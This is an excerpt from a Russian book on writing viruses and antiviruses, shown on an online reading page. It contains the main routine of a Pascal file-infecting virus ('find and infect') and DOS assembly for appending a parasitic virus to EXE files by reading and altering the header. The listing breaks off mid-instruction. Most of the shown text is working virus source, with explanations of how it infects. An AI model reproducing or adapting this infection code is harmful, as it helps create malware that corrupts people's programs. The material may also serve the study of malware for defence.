Создаем вирус и антивирус. Игорь Гульев

Чтение книги онлайн.

Читать онлайн книгу Создаем вирус и антивирус - Игорь Гульев страница 13

Создаем вирус и антивирус - Игорь Гульев

Скачать книгу

style="font-size:15px;">      {Основная подпрограмма}

      begin

      {А эту табличку запишем в код для тех,

      кто распакует вирус и начнет в нем копаться}

      If False Then

      begin

      WriteLn(#13#10 ’ ’);

      end;

      {Инициализируемся}

      Init;

      {Проверка диска на R/O}

      CheckRO;

      {Ищем и заражаем}

      FindFile;

      {Загружаем оверлей}

      ExecReal;

      end.

      Вирусы, внедряющиеся в программу (Parasitic)

      Эти вирусы являются самыми «хитрыми». Поскольку такой вирус внедряется в инфицируемую программу, это дает ему много преимуществ перед всеми вышеописанными вирусами: на диске не появляются лишние файлы, нет забот с копированием и переименованием, кроме того, усложняется лечение инфицированных файлов.

      Стандартное заражение EXE-файлов

      Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:

      ;Читаем заголовок EXE−файла (точнее, только первые 18h байт,

      ;которых вполне достаточно)

      ReadHeader:

      mov ah,3Fh

      mov dx,offset EXEHeader

      mov cx,0018h

      int 21h

      ;Устанавливаем в SI адрес считанного заголовка. В дальнейшем

      ;будем обращаться к заголовку, используя SI+смещение элемента

      mov si,offset EXEHeader

      ;Получаем реальную длину файла, переместив указатель текущей

      ;позиции чтения/записи в конец файла

      GetRealFSize:

      mov ax,4202h

      mov bx,Handle

      xor cx,cx

      xor dx,dx

      int 21h

      ;Сохраним полученную длину файла

      mov Reallen,dx

      mov Reallen+2,ax

      ;Так как речь идет о стандартной процедуре заражения, нужно

      ;помнить, что все вышесказанное не должно затрагивать

      ;оверлейные файлы. Их длина, указанная в заголовке,

      ;меньше реальной, то есть эти файлы загружаются

      ;в память не полностью.

      ;Следовательно, если заразить такой файл, вирус попадет

      ;в незагружаемую часть.

      ;Сохраним в стеке реальную длину EXE−файла

      push dx

      push ax

      ;Рассчитаем размер EXE−файла в 512−байтных страницах и остаток

      CompareOVL:

      mov cx,0200h

      div cx

      ;На данный момент в регистре AX находится число страниц

      ;(в каждой странице содержится 512 байт),

      ;а в регистре DX – остаток, образующий

      ;еще одну (неучтенную) страницу.

      ;Добавим эту страницу к общему числу страниц –

      ;если остаток не равен нулю, то

      ;увеличим число страниц

      or dx,dx

      jz m1

      inc

Скачать книгу